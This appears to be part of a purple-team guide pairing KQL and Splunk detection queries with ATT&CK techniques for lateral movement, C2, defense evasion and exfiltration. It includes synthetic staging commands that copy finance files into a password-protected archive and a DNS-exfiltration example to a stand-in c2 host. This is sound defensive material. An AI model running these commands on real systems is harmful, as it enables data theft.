// Detect AMSI bypass indicators in PowerShell script block logging
DeviceEvents
| where ActionType == "PowerShellCommand"
| where AdditionalFields has_any (
    "amsiInitFailed", "AmsiUtils",
    "amsiContext", "amsiSession",
    "SetProtectedPage", "VirtualProtect"
)
| project Timestamp, DeviceName, AccountName, AdditionalFields
| sort by Timestamp desc

// Detect ETW tampering — Event 11 showing ntdll.dll written to disk
DeviceFileEvents
| where FileName =~ "ntdll.dll"
| where ActionType == "FileCreated"
| where FolderPath !startswith "C:\\Windows\\System32"
| project Timestamp, DeviceName, FileName, FolderPath,
    InitiatingProcessFileName, AccountName
// PowerShell script block logging — AMSI bypass indicators
index=windows sourcetype=WinEventLog:Microsoft-Windows-PowerShell/Operational EventCode=4104
(ScriptBlockText="*amsiInitFailed*" OR ScriptBlockText="*AmsiUtils*"
 OR ScriptBlockText="*amsiContext*" OR ScriptBlockText="*VirtualProtect*"
 OR ScriptBlockText="*SetProtectedPage*")
| table _time, Computer, ScriptBlockText
| sort -_time

Binary Padding & Signature Evasion Concepts

Adversaries modify malicious binaries to evade signature-based detection (T1027.001). Techniques include padding (adding junk data to change hash), section manipulation, and packing.

Detection approach: Focus on behavioral indicators rather than signatures.

// Detect unsigned or unusually large executables in system directories
DeviceFileEvents
| where ActionType == "FileCreated"
| where FileName endswith ".exe" or FileName endswith ".dll"
| where FolderPath has_any (
    "\\Windows\\Temp", "\\AppData\\Local\\Temp",
    "\\ProgramData", "\\Users\\Public"
)
| where FileSize > 10000000  // > 10MB — potential padding
| project Timestamp, DeviceName, FileName, FolderPath,
    FileSize, SHA256, InitiatingProcessFileName, AccountName
// Large or unsigned executables in suspicious directories
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=11
(TargetFilename="*.exe" OR TargetFilename="*.dll")
(TargetFilename="*\\Windows\\Temp\\*" OR TargetFilename="*\\AppData\\Local\\Temp\\*"
 OR TargetFilename="*\\ProgramData\\*" OR TargetFilename="*\\Users\\Public\\*")
| table _time, Computer, Image, TargetFilename
| sort -_time

Lateral Movement

Lateral movement is how adversaries expand from a single compromised system to achieve their objectives across the network. Each technique leaves distinct network and host artifacts.

ATT&CK Mapping: T1021 (Remote Services), T1550 (Use Alternate Authentication Material)

PsExec & SMB Lateral Movement

PsExec (T1021.002) copies a service binary to the target's ADMIN$ share, creates a remote service, and executes it. This generates rich telemetry on both source and destination hosts.

Telemetry generated by PsExec:

Host Event Description
Source Sysmon 3 Network connection to target port 445
Target Security 4624 Logon type 3 (network)
Target Security 7045 New service installed (PSEXESVC)
Target Sysmon 1 Process created by PSEXESVC
Target Sysmon 11 File created in ADMIN$ share
// Detect PsExec-style lateral movement
// Service installation on target
DeviceEvents
| where ActionType == "ServiceInstalled"
| where AdditionalFields has_any ("PSEXESVC", "psexec", "ADMIN$")
| project Timestamp, DeviceName, AccountName, AdditionalFields

// Process execution by service control manager from SMB
DeviceProcessEvents
| where InitiatingProcessFileName =~ "services.exe"
| where FileName !in~ ("svchost.exe", "spoolsv.exe",
    "SearchIndexer.exe", "MsMpEng.exe", "WmiPrvSE.exe")
| project Timestamp, DeviceName, FileName,
    ProcessCommandLine, AccountName
| sort by Timestamp desc
// New service installation — potential PsExec
index=windows sourcetype=WinEventLog:Security EventCode=7045
(Service_Name="PSEXESVC" OR Service_File_Name="*PSEXESVC*"
 OR Service_File_Name="*\\ADMIN$\\*")
| table _time, Computer, Account_Name, Service_Name, Service_File_Name

// Process spawned by services.exe (lateral movement indicator)
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
ParentImage="*\\services.exe"
NOT Image IN ("*\\svchost.exe", "*\\spoolsv.exe", "*\\MsMpEng.exe", "*\\WmiPrvSE.exe")
| table _time, Computer, User, Image, CommandLine, ParentImage
| sort -_time

WinRM / PowerShell Remoting

WinRM (T1021.006) uses HTTP (5985) or HTTPS (5986) for remote management. PowerShell Remoting built on WinRM is a powerful lateral movement channel.

# Synthetic example — PowerShell Remoting lateral movement
# All hostnames use example.com domain
$cred = Get-Credential  # testuser / REDACTED
Invoke-Command -ComputerName srv01.corp.example.com -Credential $cred -ScriptBlock {
    whoami; hostname; ipconfig /all
}
// Detect WinRM lateral movement
DeviceNetworkEvents
| where RemotePort in (5985, 5986)
| where InitiatingProcessFileName !in~ ("svchost.exe", "ServerManager.exe")
| summarize ConnectionCount = count(),
    DistinctTargets = dcount(RemoteIP),
    Targets = make_set(RemoteIP, 10)
    by DeviceName, InitiatingProcessFileName, AccountName, bin(Timestamp, 1h)
| where DistinctTargets > 2
| sort by DistinctTargets desc

// wsmprovhost.exe child processes (WinRM command execution)
DeviceProcessEvents
| where InitiatingProcessFileName =~ "wsmprovhost.exe"
| project Timestamp, DeviceName, FileName,
    ProcessCommandLine, AccountName
| sort by Timestamp desc
// WinRM connections to port 5985/5986
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=3
DestinationPort IN (5985, 5986)
NOT Image="*\\svchost.exe"
| stats count as Connections, dc(DestinationIp) as UniqueTargets,
    values(DestinationIp) as Targets
    by Image, User
| where UniqueTargets > 2

// WinRM command execution (wsmprovhost child processes)
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
ParentImage="*\\wsmprovhost.exe"
| table _time, Computer, User, Image, CommandLine
| sort -_time

RDP Pivoting

RDP (T1021.001) lateral movement is common because it provides full GUI access. Adversaries may chain RDP sessions through compromised hosts to reach segmented networks.

// Detect RDP lateral movement — unusual source/destination pairs
SecurityEvent
| where EventID == 4624
| where LogonType == 10  // RemoteInteractive (RDP)
| where IpAddress !in ("127.0.0.1", "::1", "")
| summarize RDPSessions = count(),
    SourceIPs = make_set(IpAddress, 10)
    by TargetUserName, Computer, bin(TimeGenerated, 1h)
| where RDPSessions > 3
| sort by RDPSessions desc
// RDP logon events — unusual patterns
index=windows sourcetype=WinEventLog:Security EventCode=4624 Logon_Type=10
Source_Network_Address!="127.0.0.1" Source_Network_Address!="::1"
| stats count as Sessions, values(Source_Network_Address) as Sources
    by Account_Name, host
| where Sessions > 3
| sort -Sessions

Pass-the-Hash & Pass-the-Ticket Concepts

Pass-the-Hash (T1550.002): Uses captured NTLM hashes to authenticate without knowing the plaintext password. The hash is passed directly to the NTLM authentication protocol.

Pass-the-Ticket (T1550.003): Uses stolen Kerberos tickets (TGT or TGS) to authenticate as the ticket owner. Golden Tickets (forged TGTs using the krbtgt hash) provide persistent domain access.

Detection focus:

Indicator Event ID Description
NTLM logon with no prior interactive session 4624 (type 3) PtH indicator — hash used without password entry
TGT with abnormal lifetime 4768 Golden Ticket — tickets with 10-year lifetimes
TGS without preceding TGT 4769 without 4768 Pass-the-Ticket — using imported ticket
RC4 encryption for Kerberos 4768/4769 Downgrade attack indicator
// Detect Pass-the-Hash — NTLM network logon with explicit credentials
SecurityEvent
| where EventID == 4624
| where LogonType == 3
| where AuthenticationPackageName == "NTLM"
| where LogonProcessName == "NtLmSsp"
| where TargetUserName !endswith "$"  // Exclude machine accounts
| summarize PtHAttempts = count(),
    DistinctTargets = dcount(Computer),
    Targets = make_set(Computer, 10)
    by IpAddress, TargetUserName, bin(TimeGenerated, 15m)
| where DistinctTargets > 2
| sort by DistinctTargets desc

// Detect Golden Ticket — TGT with abnormal lifetime or encryption
SecurityEvent
| where EventID == 4768
| where TicketEncryptionType == "0x17"  // RC4 downgrade
| where TicketOptions has "0x40810010"  // Forwardable, renewable, etc.
| project TimeGenerated, Computer, TargetUserName,
    IpAddress, TicketEncryptionType, TicketOptions
// Pass-the-Hash detection — NTLM network logon patterns
index=windows sourcetype=WinEventLog:Security EventCode=4624
Logon_Type=3 Authentication_Package=NTLM Logon_Process=NtLmSsp
NOT Account_Name="*$"
| stats count, dc(host) as UniqueTargets, values(host) as Targets
    by Source_Network_Address, Account_Name
| where UniqueTargets > 2
| sort -UniqueTargets

// Golden Ticket — RC4 TGT requests
index=windows sourcetype=WinEventLog:Security EventCode=4768
Ticket_Encryption_Type=0x17
| table _time, Computer, Account_Name, Client_Address, Ticket_Encryption_Type, Ticket_Options

Command & Control (C2)

Command and control is the communication channel between the adversary and compromised systems. Modern C2 frameworks use legitimate protocols and services to blend into normal traffic.

ATT&CK Mapping: T1071 (Application Layer Protocol), T1572 (Protocol Tunneling), T1090 (Proxy)

HTTP/HTTPS Beaconing

C2 beacons send periodic HTTP/HTTPS requests to an attacker-controlled server. The regularity of these callbacks (jitter) is a key detection point.

Beacon characteristics:

Characteristic Low OPSEC High OPSEC
Interval Fixed (e.g., every 60s) Random with jitter (45-180s)
User-Agent Default/unusual Mimics real browser
URI pattern Static paths Randomized paths
Payload encoding Base64 plaintext Encrypted, chunked
Certificate Self-signed Let's Encrypt or stolen
// Detect periodic beaconing — regular interval connections
DeviceNetworkEvents
| where RemotePort in (80, 443)
| where RemoteIPType == "Public"
| summarize
    ConnectionTimes = make_list(Timestamp, 1000),
    ConnectionCount = count()
    by DeviceName, RemoteIP, RemotePort, bin(Timestamp, 1h)
| where ConnectionCount > 20
// Further analysis: calculate intervals between connections
// Regular intervals (low standard deviation) indicate beaconing
| sort by ConnectionCount desc

// Detect connections to newly registered domains
DeviceNetworkEvents
| where RemotePort in (80, 443)
| where isnotempty(RemoteUrl)
| where RemoteUrl !endswith ".microsoft.com"
    and RemoteUrl !endswith ".windows.com"
    and RemoteUrl !endswith ".office.com"
| summarize ConnectionCount = count(),
    UniqueDevices = dcount(DeviceName)
    by RemoteUrl, bin(Timestamp, 1d)
| where UniqueDevices == 1  // Only one device talks to this domain
| where ConnectionCount > 50
| sort by ConnectionCount desc
// Beaconing detection — regular interval analysis
index=proxy OR index=firewall dest_port IN (80, 443)
| sort _time
| streamstats current=f last(_time) as prev_time by src_ip, dest_ip
| eval interval=_time - prev_time
| stats count, avg(interval) as avg_interval, stdev(interval) as stdev_interval,
    min(interval) as min_interval, max(interval) as max_interval
    by src_ip, dest_ip, dest_port
| where count > 20
| eval jitter_ratio = stdev_interval / avg_interval
| where jitter_ratio < 0.3  // Low jitter = likely beaconing
| sort jitter_ratio

DNS Tunneling C2

DNS tunneling (T1071.004) encodes C2 communications within DNS queries and responses. Because DNS is almost never blocked, it provides a reliable covert channel.

Indicators of DNS tunneling:

  • High volume of DNS queries to a single domain
  • Long subdomain labels (encoded data in query)
  • TXT record queries (higher data capacity)
  • Unusual query types (NULL, CNAME chains)
// Detect DNS tunneling — long subdomain queries
DnsEvents
| where QueryType in ("A", "AAAA", "TXT", "NULL", "CNAME")
| extend SubdomainLength = strlen(tostring(split(Name, ".")[0]))
| where SubdomainLength > 30  // Encoded data in subdomain
| summarize QueryCount = count(),
    AvgSubdomainLength = avg(SubdomainLength),
    MaxSubdomainLength = max(SubdomainLength),
    UniqueQueries = dcount(Name)
    by ClientIP, tostring(split(Name, ".")[-2]) // Group by parent domain
| where QueryCount > 50 and AvgSubdomainLength > 20
| sort by QueryCount desc

// High volume TXT queries (data exfiltration channel)
DnsEvents
| where QueryType == "TXT"
| summarize TXTQueries = count() by ClientIP, bin(TimeGenerated, 1h)
| where TXTQueries > 100
// DNS tunneling — long subdomains and high query volume
index=dns
| eval subdomain_length=len(mvindex(split(query, "."), 0))
| where subdomain_length > 30
| stats count as QueryCount, avg(subdomain_length) as AvgLength,
    dc(query) as UniqueQueries
    by src_ip, query_domain
| where QueryCount > 50 AND AvgLength > 20
| sort -QueryCount

// High volume TXT record queries
index=dns record_type=TXT
| stats count by src_ip | where count > 100

Domain Fronting Concepts

Domain fronting (T1090.004) hides the true C2 destination by routing traffic through a legitimate high-reputation domain (CDN). The outer TLS SNI and HTTP Host header point to different destinations.

Conceptual flow:

Client → TLS SNI: legitimate.cdn.example.com
       → HTTP Host: c2-hidden.example.com
CDN routes based on Host header → C2 server receives the request

Detection approach: Compare TLS SNI with HTTP Host header. Mismatches indicate potential domain fronting.

// Detect domain fronting — SNI vs Host header mismatch
// Requires TLS inspection / proxy logs
DeviceNetworkEvents
| where RemotePort == 443
| where isnotempty(AdditionalFields)
| extend SNI = tostring(AdditionalFields.TlsServerNameIndication)
| extend HostHeader = tostring(AdditionalFields.HttpHost)
| where SNI != HostHeader and isnotempty(SNI) and isnotempty(HostHeader)
| project Timestamp, DeviceName, SNI, HostHeader,
    RemoteIP, RemotePort
| sort by Timestamp desc
// Domain fronting — SNI vs Host header mismatch
index=proxy
| where isnotnull(ssl_subject) AND isnotnull(http_host)
| eval domain_match=if(ssl_subject==http_host, "match", "mismatch")
| where domain_match="mismatch"
| table _time, src_ip, ssl_subject, http_host, dest_ip
| sort -_time

JA3/JA4 Fingerprinting

JA3 and JA4 fingerprints identify client applications based on their TLS Client Hello parameters. C2 frameworks have distinctive JA3 hashes that differ from legitimate browsers.

Detection strategy:

Fingerprint Use Case
JA3 (MD5 hash of TLS params) Identify known C2 framework fingerprints
JA3S (server fingerprint) Identify C2 server infrastructure
JA4 (improved, more granular) Better differentiation between similar clients
// Detect known C2 framework JA3 hashes
// These are synthetic example hashes for educational purposes
let KnownC2JA3 = dynamic([
    "a]b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5",  // Synthetic hash 1
    "f5e4d3c2b1a0f5e4d3c2b1a0f5e4d3c2"   // Synthetic hash 2
]);
DeviceNetworkEvents
| where isnotempty(AdditionalFields)
| extend JA3Hash = tostring(AdditionalFields.JA3)
| where JA3Hash in (KnownC2JA3)
| project Timestamp, DeviceName, RemoteIP, JA3Hash, AccountName
// JA3 fingerprint monitoring for known C2
index=proxy OR index=firewall ja3_hash=*
| lookup known_c2_ja3 ja3_hash OUTPUT framework_name
| where isnotnull(framework_name)
| table _time, src_ip, dest_ip, ja3_hash, framework_name
| sort -_time

Data Exfiltration

Data exfiltration is the adversary's ultimate objective in many campaigns. The techniques range from obvious (large file transfers) to subtle (slow DNS-encoded data leaks over weeks).

ATT&CK Mapping: T1041 (Exfiltration Over C2 Channel), T1048 (Exfiltration Over Alternative Protocol), T1567 (Exfiltration to Cloud Storage)

Staging and Compression

Before exfiltration, adversaries stage and compress data to minimize transfer volume and time (T1074, T1560).

Common staging patterns:

REM Adversary stages files for exfiltration (synthetic example)
mkdir C:\Windows\Temp\staging
copy \\fileserver.corp.example.com\finance\*.xlsx C:\Windows\Temp\staging\
REM Compress with password
7z.exe a -p"REDACTED" C:\Windows\Temp\archive.7z C:\Windows\Temp\staging\*
// Detect data staging — bulk file copy to temp directories
DeviceFileEvents
| where ActionType == "FileCreated"
| where FolderPath has_any ("\\Temp\\", "\\staging\\", "\\exfil\\")
| summarize FileCount = count(), TotalSize = sum(FileSize),
    FileTypes = make_set(tostring(split(FileName, ".")[-1]), 10)
    by DeviceName, FolderPath, AccountName, bin(Timestamp, 1h)
| where FileCount > 20 or TotalSize > 100000000  // > 100MB
| sort by TotalSize desc

// Detect archive creation with password protection
DeviceProcessEvents
| where FileName in~ ("7z.exe", "rar.exe", "zip.exe", "tar.exe")
| where ProcessCommandLine has_any ("-p", "-hp", "--password", "-encrypt")
| project Timestamp, DeviceName, AccountName,
    ProcessCommandLine, InitiatingProcessFileName
// Bulk file staging detection
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=11
(TargetFilename="*\\Temp\\*" OR TargetFilename="*\\staging\\*")
| stats count as FileCount by Computer, User, Image
| where FileCount > 20
| sort -FileCount

// Password-protected archive creation
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
(Image="*\\7z.exe" OR Image="*\\rar.exe" OR Image="*\\zip.exe")
(CommandLine="*-p*" OR CommandLine="*-hp*" OR CommandLine="*-encrypt*")
| table _time, Computer, User, CommandLine, ParentImage

Covert Channels (DNS, ICMP, HTTPS)

DNS exfiltration (T1048.003): Data encoded in DNS subdomain queries. Each query carries ~60 bytes of encoded data.

# Conceptual DNS exfiltration encoding
# Data: "password123" → Base32 → "OBWGC2LOFNZSA5DFON2CA==="
# DNS query: OBWGC2LOFNZSA5DFON2CA.exfil.c2.example.com

ICMP tunneling (T1048.003): Data embedded in ICMP echo request/reply payloads.

HTTPS chunking: Small amounts of data sent in legitimate-looking HTTPS requests over extended periods.

// Detect DNS exfiltration — high volume to single domain
DnsEvents
| summarize
    QueryCount = count(),
    UniqueSubdomains = dcount(Name),
    TotalDataEstimate = sum(strlen(tostring(split(Name, ".")[0])))
    by ClientIP, tostring(split(Name, ".")[-2]), bin(TimeGenerated, 1h)
| where UniqueSubdomains > 100  // Many unique subdomains = data encoding
| where TotalDataEstimate > 5000  // Substantial data volume
| sort by TotalDataEstimate desc

// Detect unusual ICMP volume (potential ICMP tunneling)
DeviceNetworkEvents
| where Protocol == "Icmp"
| summarize ICMPCount = count(), TotalBytes = sum(SentBytes + ReceivedBytes)
    by DeviceName, RemoteIP, bin(Timestamp, 1h)
| where ICMPCount > 100 or TotalBytes > 100000
| sort by TotalBytes desc
// DNS exfiltration — high unique subdomain count
index=dns
| stats dc(query) as UniqueQueries, count as TotalQueries
    by src_ip, query_domain
| where UniqueQueries > 100
| sort -UniqueQueries

// ICMP tunneling — unusual volume
index=firewall protocol=icmp
| stats count, sum(bytes) as TotalBytes by src_ip, dest_ip
| where count > 100 OR TotalBytes > 100000
| sort -TotalBytes

Cloud Storage Abuse

Adversaries exfiltrate data to legitimate cloud storage services (T1567.002) — OneDrive, Google Drive, Dropbox, AWS S3 — because these services are trusted and often allowed through firewalls.

// Detect large uploads to cloud storage services
DeviceNetworkEvents
| where RemoteUrl has_any (
    "onedrive.live.com", "drive.google.com",
    "dropbox.com", "box.com",
    "s3.amazonaws.com", "blob.core.windows.net",
    "storage.googleapis.com", "mega.nz"
)
| where SentBytes > 10000000  // > 10MB upload
| summarize TotalUploaded = sum(SentBytes),
    UploadCount = count()
    by DeviceName, RemoteUrl, AccountName, bin(Timestamp, 1h)
| where TotalUploaded > 50000000  // > 50MB total
| sort by TotalUploaded desc
// Large uploads to cloud storage providers
index=proxy
(dest="*onedrive.live.com" OR dest="*drive.google.com"
 OR dest="*dropbox.com" OR dest="*s3.amazonaws.com"
 OR dest="*blob.core.windows.net" OR dest="*mega.nz")
http_method=POST
| stats sum(bytes_out) as TotalUpload, count as Uploads
    by src_ip, dest, user
| where TotalUpload > 52428800
| sort -TotalUpload

DLP Integration

Cloud storage exfiltration detection is most effective when combined with Data Loss Prevention (DLP) classification. If you know which files contain sensitive data, you can prioritize alerts on uploads of classified content rather than alerting on all large transfers.


Purple Team Integration

This tradecraft guide is designed for direct use in purple team exercises. The following framework maps each section to structured purple team activities.

How to Use This Guide for Purple Team Exercises

  1. Select a technique from any section above
  2. Red team executes the technique in a controlled environment using the synthetic examples as templates
  3. Blue team monitors using the detection queries, tuned to the environment's baseline
  4. Both teams document what worked, what was missed, and why
  5. Iterate — modify the technique to evade detection, then improve the detection
  6. Log results using the Purple Team Exercise Library framework

Mapping to Purple Team Exercises

The techniques in this guide map directly to existing purple team exercises:

Guide Section Related PT Exercises Focus Area
Living Off the Land PT-001 through PT-020 Initial access, execution
Process Injection PT-021 through PT-040 Defense evasion, privilege escalation
Credential Access PT-041 through PT-060 Credential theft, privilege escalation
Persistence PT-061 through PT-080 Persistence mechanisms
Defense Evasion PT-081 through PT-100 Log tampering, indicator removal
Lateral Movement PT-101 through PT-120 Network movement, pivoting
Command & Control PT-121 through PT-140 C2 channels, beaconing
Data Exfiltration PT-141 through PT-160 Data staging, covert channels

See the full exercise library: PT-001 through PT-170

Continuous Improvement Cycle

┌─────────────────────────────────────────────┐
│           Purple Team Cycle                 │
│                                             │
│   1. PLAN  → Select technique from guide    │
│   2. RED   → Execute in controlled scope    │
│   3. BLUE  → Detect using provided queries  │
│   4. GAP   → Document detection gaps        │
│   5. FIX   → Tune queries, add new rules    │
│   6. TEST  → Re-execute to validate fix     │
│   7. LOG   → Update exercise library        │
│   └────────── Repeat ──────────────────┘    │
└─────────────────────────────────────────────┘

Related chapters:


Quick Reference Matrix

Technique ATT&CK ID Detection Method Key Event IDs Difficulty
Living Off the Land
PowerShell encoded commands T1059.001 Script block logging, command line Sysmon 1, PS 4104 Low
WMI lateral movement T1047 WMI process creation monitoring Sysmon 1 (wmiprvse child) Medium
certutil download T1218 Command line monitoring Sysmon 1 Low
mshta execution T1218.005 Process creation with HTA args Sysmon 1 Low
rundll32 proxy execution T1218.011 Unusual DLL loads, command args Sysmon 1, 7 Medium
regsvr32 Squiblydoo T1218.010 scrobj.dll load, remote URL args Sysmon 1, 3 Medium
Process Injection
Classic DLL injection T1055.001 CreateRemoteThread monitoring Sysmon 8, 10 Medium
Process hollowing T1055.012 Suspended process + thread context Sysmon 1, 10 High
APC injection T1055.004 QueueUserAPC monitoring ETW, Sysmon 10 High
Thread hijacking T1055.003 Thread context modification ETW, Sysmon 10 High
Credential Access
LSASS dumping T1003.001 LSASS process access monitoring Sysmon 10, Security 4656 Medium
Kerberoasting T1558.003 RC4 TGS request volume Security 4769 Medium
AS-REP Roasting T1558.004 RC4 TGT requests Security 4768 Medium
NTLM relay T1557.001 Multi-target NTLM auth patterns Security 4624 High
SAM extraction T1003.002 reg.exe save command monitoring Sysmon 1 Low
Persistence
Registry Run keys T1547.001 Registry modification monitoring Sysmon 13 Low
Scheduled tasks T1053.005 Task creation monitoring Security 4698, Sysmon 1 Low
WMI event subscriptions T1546.003 WMI subscription creation Sysmon 19, 20, 21 Medium
DLL search order hijack T1574.001 Unsigned DLL loads in system dirs Sysmon 7 High
COM object hijacking T1546.015 CLSID registry modification Sysmon 13 High
Defense Evasion
Timestomping T1070.006 File creation time mismatch Sysmon 2 High
Log clearing T1070.001 Log cleared events, gap analysis Security 1102, 104 Low
AMSI bypass T1562.001 Script block logging, memory scan PS 4104, EDR High
Binary padding T1027.001 File size anomalies, behavioral Sysmon 11 Medium
Lateral Movement
PsExec / SMB T1021.002 Service installation, SMB files Security 7045, Sysmon 11 Low
WinRM / PSRemoting T1021.006 Port 5985/5986 connections Sysmon 3, 1 Medium
RDP pivoting T1021.001 Type 10 logon anomalies Security 4624 Low
Pass-the-Hash T1550.002 NTLM network logon patterns Security 4624 High
Pass-the-Ticket T1550.003 Kerberos anomalies, RC4 TGTs Security 4768, 4769 High
Command & Control
HTTP/HTTPS beaconing T1071.001 Interval analysis, jitter ratio Network logs Medium
DNS tunneling T1071.004 Long subdomain analysis DNS logs Medium
Domain fronting T1090.004 SNI vs Host header mismatch Proxy / TLS logs High
JA3/JA4 fingerprinting T1071.001 TLS fingerprint matching Proxy / TLS logs Medium
Data Exfiltration
Data staging T1074.001 Bulk file copy to temp dirs Sysmon 11 Low
DNS exfiltration T1048.003 High unique subdomain count DNS logs Medium
ICMP tunneling T1048.003 Unusual ICMP volume Firewall logs Medium
Cloud storage abuse T1567.002 Large uploads to cloud services Proxy logs Medium

Summary

Red team tradecraft and blue team detection are two sides of the same coin. This guide provides a starting point — not an endpoint. Every detection query requires tuning to your environment. Every technique has variants that may evade a specific query. The purple team cycle of execute-detect-improve is how organizations build genuine resilience.

Next steps:

Offense Informs Defense

"The only way to know if your defenses work is to test them the way adversaries will. Not someday — today."